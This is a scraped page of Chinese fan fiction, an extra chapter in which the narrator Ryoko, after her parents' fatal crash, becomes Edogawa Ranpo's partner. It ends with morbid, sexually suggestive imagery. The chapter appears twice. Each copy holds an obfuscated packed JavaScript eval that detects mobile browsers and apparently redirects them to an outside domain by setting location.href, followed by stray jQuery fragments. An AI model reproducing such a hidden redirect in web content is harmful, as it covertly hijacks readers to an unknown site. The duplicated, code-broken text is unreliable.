逢金水 作品
21.假如两人在凉子的世界相遇（二）[番外]
圣诞的大雪下到二十六号。
入目全是茫茫，世界变成白色一块。
爷爷精神虚弱几乎睡了一天。
难得的安静。
从爷爷的枕头下面翻到了二十块钱，犹豫过后，十分坦然的用到今天吃饭上，毕竟母亲昨天给我的钱根本没有办法支持老幼两个的伙食。
鞋子注定要被积雪粘湿，袜子也会，脚趾红红，脚掌泡的白皱。
好在汤饭成功买了回来，一口一口喂给爷爷，哄着他不要闹啦，你的儿子谁知道在哪里谋生呢，他没有抛下你，只是想要抛下你，我是谁？我是他们创造的充面子的家伙、是免费的护工、是不会反抗乖乖挨打的好孩子。
一帘之隔的隔壁，热闹非常，大人哄着、小孩闹着、收音机随老人的心意压根不停播。
同样都是隔壁，我衷心地祝福病床上的老人，即便小孩子的尖叫像针一样刺进耳朵，却阴暗的憎恨没有理由憎恨的江户川乱步。
白天只能到楼下的花园的漏风凉亭躲清净。
四角立柱勉强挡风，我靠在柱子后面，大声背诵随身携带的知识点笔记。
这样冷的地方，不会有人在的。
我却看到一个棕熊一样的、裹得厚厚的、严严实实地人。
明明头脸藏在围巾帽子后面，我明明白白知道这只棕熊的名字叫做江户川乱步。
“啪。”
笔记掉在地上。
我冲过去，拽住围巾就把他往医院的大楼里面拉，力气不够，摔坐到雪里，溅起的雪沫挂在睫毛上，眨眨眼，化作水从眼角流下。
棕色小熊笑得帽子上的球球一颤一颤。
他到凉亭里捡起我的笔记，塞塑料袋似的随便赛到口袋里，拍拍，过来拉起我，两个人脚印踩着脚印一前一后，牵着手回到温暖的一楼楼道。
江户川乱步甩掉脑袋上的雪，特别自然地让我摘掉他的帽子、围巾，嘱咐我一定要放在暖气片上帮他烤干，不然湿湿的带着难受死了。
我问：“你怎么来了？”
江户川乱步甩完头开始甩脚，当做没听见。
我大声，“这么大的雪，你怎么来了？！”
乱步声音比我更大，“凉子你凶我？！”
我生气，“凶你又怎么样？是自己跑出来的，还是父母带你出来的——哼，看你的表情果然是跑出来的吧，不是路痴吗？”
乱步理直气壮，暖烘烘的手揉搓我冰凉的脸颊，“切，你在小瞧我嘛？凉子。就算没有人带路，凭借我聪明的大脑到医院完全是小菜一碟吧。”
骗子。
帽子上沾的雪花，是一个小时前还在下雪时候甚至更早就出门了吧，医院到小区坐公车也要四十分钟呢，何况现在公车已经停运了。
我眨眨眼，脸上的水越来越多，乱步好奇又懵懂的看着我，食指刮了刮我的眼角，放进嘴里。
“电视剧说幸福的眼泪是甜的，嗤，骗人。”乱步拍了拍我的脑袋。
他没比我高多少，脸埋不进胸口，埋进肩膀也要费力气低头。江户川夫妇很宠爱他，佩带的围巾质量好的不得了，被眼泪泡过的脸蹭上去一点都不难受。
他们怎么能让乱步一个人出来。
我享受着他们购买的围巾，还在心底抱怨他们。
晚上，从前来来看望的江户川夫妇那里，我知道了答案。
——我的父母亲出车祸了。
积雪的路上，十三辆轿车连环相撞，他们不在轿车里面，只是被殃及的路过的小电车。
更惨了，没有防护措施，当场身亡。
就在昨天晚上。
我头晕目眩。
江户川夫人委婉的提出，如果凉子不想到亲戚家里住，他们可以收养我。
我下意识看向江户川乱步。
爱闹的他此时安安静静的坐在我身边，吃着棒棒糖，无可无不可的样子。
“这个提议是乱步提出的。”江户川夫人说。
夫妇两人为我们两个留下独处的空间。
我震惊，想提着他的领子问他：你疯了吗，让一个憎恨你的人住在自己的家里，警察怎么会同意。
“会的哦。”乱步用棒棒糖指着我，碧绿的眼镜锋芒毕露，“程序中间有很多可操作的地方，而且凉子已经成年了对吧。更好办了。你只要告诉我想不想就好了，简单简单。”
“可是……”
“凉子是笨蛋吗？不，很抱歉使用了问句，凉子就是笨蛋。自己的心意一点都看不清楚。”他用食指抵开我的嘴唇，“你喜欢我喜欢的要死，却从来不肯说出来，欺骗自己讨厌我，笨蛋，凉子说谎技术比最笨蛋的罪犯都不如。”
我的心情复杂极了。
害羞一点没有，反而升起微薄的怒气。
“你根本不知道我……”
乱步打断，“我知道的哦，凉子忍受着的什么。”他笑容嚣张，凑在我耳边说出我内心最隐秘的私欲，“很开心吧，凉子？所以圣诞节快乐哦。”
我猛然抓住他的领口。
我是犯人吗？
“别害怕。”他又恢复成平时的样子了，“凉子不是犯人，不过就是这点让人很生气呢，母亲说喜欢的话要好好追求你，太麻烦啦，凉子因为很无聊的原因一直在躲嘛，又不是犯人，麻烦死了。现在很不错了吧？原因除了一个残存的尾巴，其他彻底消失在这个世界上了。是时候同意了哦，凉子。”
我颤抖的双手被乱步一只手紧紧攥住。
他用空闲的左手掐住我的脸颊，笑眯眯的上下晃动。
“好啦好啦，点头就是同意啦。”
这起事故肇事者赔偿了我许多钱，其中一大半用在了久病的爷爷身上，父母的存款足够支持我生活半年直到考上大学，并没有接受江户川夫妇的自助，不过被经常去他们家里吃饭。
我踏进了曾经羡慕的常年有暖气和空调的房间。
并没有我想象的那样梦幻，干净利落的家装设计，除了厨房和卫生间，每个房间都放了一个装的满满当当的零食小车。
不用问就知道是给乱步准备的。
时间来到高三下学期。
乱步和我已经被保送到同一所大学。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581849|170597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朋友调侃：“不是说讨厌吗？讨厌到根本不能分开是嘛？”
“不是的。”我认真道：“之前是我在撒谎，不讨厌的，反而喜欢的不得了。睡懒觉也喜欢，肆意妄为也喜欢，把犯人逼到绝境更是喜欢的想亲亲他。所以以后想一直和乱步在一起。”
朋友愣愣看着我，脸突然超级红，感慨道：“你这个人怪不得了的，完全从一个极端到达了另一个极端呢。”
既然枷锁已经去掉，没什么不能承认的。
四月份的时候，爷爷在病床上寿终正寝。
办丧事我已经轻车熟路，父亲这边是独生子，没有什么兄弟帮扶，母亲那边好心的妹妹看不下去，不仅之前帮着我处理了父母的丧事，这次爷爷的葬礼也出了力气。
答应帮她的孩子补课作为报答。
没有设置灵堂，只把爷爷的骨灰盒放在家里、父母亲的旁边，黑白照片理应在正中间供奉。
香烛燃烧。
跪坐在软垫上时候，脑子里不由自主的想到《挪威的森林》里大胆的绿子，她的做法我认不认同根本不重要，只是有她珠玉在前，我放肆的大笑便不算最出格的那一个。
笑得浑身颤抖，笑得眼角泪流。
第二天在破案现场被乱步看破。
等在犯人伏罪的间隙，他状似不经意地问：“凉子现在做的都是自己想要做的事情吧？”
“是的。”
“那太好了。”
不断在犯罪现场出没的乱步知名度越来越高，甚至到了电视台都要采访的程度，他无意出名，破案完全是兴趣使然，再加上一点后天父母亲的培养，不断拒绝邀约让他烦不胜烦，特别任性的买了两张到日本的机票，在出发前的晚上，才通知我和江户川夫妇。
准确的说是通知我，夫妇两人很容易就能看透。
好在乱步的助手也能收到一半的委托费，旅行的花费我不用再担心
可是非常生气，气到根本不想理会乱步塞得乱糟糟的行李箱，气到飞机上根本不想让出好吃的布丁，气到泡温泉的时候根本不愿意和他泡在同一个池子里。
……气到第一次黏糊糊抱在一起，控制不住狠狠咬上他的肩膀，不发出他想要听的「好听」的声音。
力气用的很大，嘴里尝到血的味道也不愿意松口。
请留下我的痕迹。
今天下午吃到一道菜特别有意思。
叫做章鱼刺身。
调味只有油和一点点的盐，可以放一些刺鼻的芥末。
乱步吃的时候，章鱼足上的吸盘差点吸住嗓子，让他窒息。
我那时候想，什么男女朋友、夫妻，不要这样的关系，我和乱步不能是一样的关系。
要更加紧密，要缠绕在一起，是彼此的寄生者，扎破皮肤，吸干营养，乳白色的汁水沿着躯干的起伏滴落到垫腰的枕头上。
即便成为了他的食物，也要是章鱼刺身这种的，紧紧占据着他的食管，收缩，包裹。
不消多久我将攀登上恰如死亡的巅峰，但他也逃不掉。
我们天长地久，至死方休。
入目全是茫茫，世界变成白色一块。
爷爷精神虚弱几乎睡了一天。
难得的安静。
从爷爷的枕头下面翻到了二十块钱，犹豫过后，十分坦然的用到今天吃饭上，毕竟母亲昨天给我的钱根本没有办法支持老幼两个的伙食。
鞋子注定要被积雪粘湿，袜子也会，脚趾红红，脚掌泡的白皱。
好在汤饭成功买了回来，一口一口喂给爷爷，哄着他不要闹啦，你的儿子谁知道在哪里谋生呢，他没有抛下你，只是想要抛下你，我是谁？我是他们创造的充面子的家伙、是免费的护工、是不会反抗乖乖挨打的好孩子。
一帘之隔的隔壁，热闹非常，大人哄着、小孩闹着、收音机随老人的心意压根不停播。
同样都是隔壁，我衷心地祝福病床上的老人，即便小孩子的尖叫像针一样刺进耳朵，却阴暗的憎恨没有理由憎恨的江户川乱步。
白天只能到楼下的花园的漏风凉亭躲清净。
四角立柱勉强挡风，我靠在柱子后面，大声背诵随身携带的知识点笔记。
这样冷的地方，不会有人在的。
我却看到一个棕熊一样的、裹得厚厚的、严严实实地人。
明明头脸藏在围巾帽子后面，我明明白白知道这只棕熊的名字叫做江户川乱步。
“啪。”
笔记掉在地上。
我冲过去，拽住围巾就把他往医院的大楼里面拉，力气不够，摔坐到雪里，溅起的雪沫挂在睫毛上，眨眨眼，化作水从眼角流下。
棕色小熊笑得帽子上的球球一颤一颤。
他到凉亭里捡起我的笔记，塞塑料袋似的随便赛到口袋里，拍拍，过来拉起我，两个人脚印踩着脚印一前一后，牵着手回到温暖的一楼楼道。
江户川乱步甩掉脑袋上的雪，特别自然地让我摘掉他的帽子、围巾，嘱咐我一定要放在暖气片上帮他烤干，不然湿湿的带着难受死了。
我问：“你怎么来了？”
江户川乱步甩完头开始甩脚，当做没听见。
我大声，“这么大的雪，你怎么来了？！”
乱步声音比我更大，“凉子你凶我？！”
我生气，“凶你又怎么样？是自己跑出来的，还是父母带你出来的——哼，看你的表情果然是跑出来的吧，不是路痴吗？”
乱步理直气壮，暖烘烘的手揉搓我冰凉的脸颊，“切，你在小瞧我嘛？凉子。就算没有人带路，凭借我聪明的大脑到医院完全是小菜一碟吧。”
骗子。
帽子上沾的雪花，是一个小时前还在下雪时候甚至更早就出门了吧，医院到小区坐公车也要四十分钟呢，何况现在公车已经停运了。
我眨眨眼，脸上的水越来越多，乱步好奇又懵懂的看着我，食指刮了刮我的眼角，放进嘴里。
“电视剧说幸福的眼泪是甜的，嗤，骗人。”乱步拍了拍我的脑袋。
他没比我高多少，脸埋不进胸口，埋进肩膀也要费力气低头。江户川夫妇很宠爱他，佩带的围巾质量好的不得了，被眼泪泡过的脸蹭上去一点都不难受。
他们怎么能让乱步一个人出来。
我享受着他们购买的围巾，还在心底抱怨他们。
晚上，从前来来看望的江户川夫妇那里，我知道了答案。
——我的父母亲出车祸了。
积雪的路上，十三辆轿车连环相撞，他们不在轿车里面，只是被殃及的路过的小电车。
更惨了，没有防护措施，当场身亡。
就在昨天晚上。
我头晕目眩。
江户川夫人委婉的提出，如果凉子不想到亲戚家里住，他们可以收养我。
我下意识看向江户川乱步。
爱闹的他此时安安静静的坐在我身边，吃着棒棒糖，无可无不可的样子。
“这个提议是乱步提出的。”江户川夫人说。
夫妇两人为我们两个留下独处的空间。
我震惊，想提着他的领子问他：你疯了吗，让一个憎恨你的人住在自己的家里，警察怎么会同意。
“会的哦。”乱步用棒棒糖指着我，碧绿的眼镜锋芒毕露，“程序中间有很多可操作的地方，而且凉子已经成年了对吧。更好办了。你只要告诉我想不想就好了，简单简单。”
“可是……”
“凉子是笨蛋吗？不，很抱歉使用了问句，凉子就是笨蛋。自己的心意一点都看不清楚。”他用食指抵开我的嘴唇，“你喜欢我喜欢的要死，却从来不肯说出来，欺骗自己讨厌我，笨蛋，凉子说谎技术比最笨蛋的罪犯都不如。”
我的心情复杂极了。
害羞一点没有，反而升起微薄的怒气。
“你根本不知道我……”
乱步打断，“我知道的哦，凉子忍受着的什么。”他笑容嚣张，凑在我耳边说出我内心最隐秘的私欲，“很开心吧，凉子？所以圣诞节快乐哦。”
我猛然抓住他的领口。
我是犯人吗？
“别害怕。”他又恢复成平时的样子了，“凉子不是犯人，不过就是这点让人很生气呢，母亲说喜欢的话要好好追求你，太麻烦啦，凉子因为很无聊的原因一直在躲嘛，又不是犯人，麻烦死了。现在很不错了吧？原因除了一个残存的尾巴，其他彻底消失在这个世界上了。是时候同意了哦，凉子。”
我颤抖的双手被乱步一只手紧紧攥住。
他用空闲的左手掐住我的脸颊，笑眯眯的上下晃动。
“好啦好啦，点头就是同意啦。”
这起事故肇事者赔偿了我许多钱，其中一大半用在了久病的爷爷身上，父母的存款足够支持我生活半年直到考上大学，并没有接受江户川夫妇的自助，不过被经常去他们家里吃饭。
我踏进了曾经羡慕的常年有暖气和空调的房间。
并没有我想象的那样梦幻，干净利落的家装设计，除了厨房和卫生间，每个房间都放了一个装的满满当当的零食小车。
不用问就知道是给乱步准备的。
时间来到高三下学期。
乱步和我已经被保送到同一所大学。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581849|170597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朋友调侃：“不是说讨厌吗？讨厌到根本不能分开是嘛？”
“不是的。”我认真道：“之前是我在撒谎，不讨厌的，反而喜欢的不得了。睡懒觉也喜欢，肆意妄为也喜欢，把犯人逼到绝境更是喜欢的想亲亲他。所以以后想一直和乱步在一起。”
朋友愣愣看着我，脸突然超级红，感慨道：“你这个人怪不得了的，完全从一个极端到达了另一个极端呢。”
既然枷锁已经去掉，没什么不能承认的。
四月份的时候，爷爷在病床上寿终正寝。
办丧事我已经轻车熟路，父亲这边是独生子，没有什么兄弟帮扶，母亲那边好心的妹妹看不下去，不仅之前帮着我处理了父母的丧事，这次爷爷的葬礼也出了力气。
答应帮她的孩子补课作为报答。
没有设置灵堂，只把爷爷的骨灰盒放在家里、父母亲的旁边，黑白照片理应在正中间供奉。
香烛燃烧。
跪坐在软垫上时候，脑子里不由自主的想到《挪威的森林》里大胆的绿子，她的做法我认不认同根本不重要，只是有她珠玉在前，我放肆的大笑便不算最出格的那一个。
笑得浑身颤抖，笑得眼角泪流。
第二天在破案现场被乱步看破。
等在犯人伏罪的间隙，他状似不经意地问：“凉子现在做的都是自己想要做的事情吧？”
“是的。”
“那太好了。”
不断在犯罪现场出没的乱步知名度越来越高，甚至到了电视台都要采访的程度，他无意出名，破案完全是兴趣使然，再加上一点后天父母亲的培养，不断拒绝邀约让他烦不胜烦，特别任性的买了两张到日本的机票，在出发前的晚上，才通知我和江户川夫妇。
准确的说是通知我，夫妇两人很容易就能看透。
好在乱步的助手也能收到一半的委托费，旅行的花费我不用再担心
可是非常生气，气到根本不想理会乱步塞得乱糟糟的行李箱，气到飞机上根本不想让出好吃的布丁，气到泡温泉的时候根本不愿意和他泡在同一个池子里。
……气到第一次黏糊糊抱在一起，控制不住狠狠咬上他的肩膀，不发出他想要听的「好听」的声音。
力气用的很大，嘴里尝到血的味道也不愿意松口。
请留下我的痕迹。
今天下午吃到一道菜特别有意思。
叫做章鱼刺身。
调味只有油和一点点的盐，可以放一些刺鼻的芥末。
乱步吃的时候，章鱼足上的吸盘差点吸住嗓子，让他窒息。
我那时候想，什么男女朋友、夫妻，不要这样的关系，我和乱步不能是一样的关系。
要更加紧密，要缠绕在一起，是彼此的寄生者，扎破皮肤，吸干营养，乳白色的汁水沿着躯干的起伏滴落到垫腰的枕头上。
即便成为了他的食物，也要是章鱼刺身这种的，紧紧占据着他的食管，收缩，包裹。
不消多久我将攀登上恰如死亡的巅峰，但他也逃不掉。
我们天长地久，至死方休。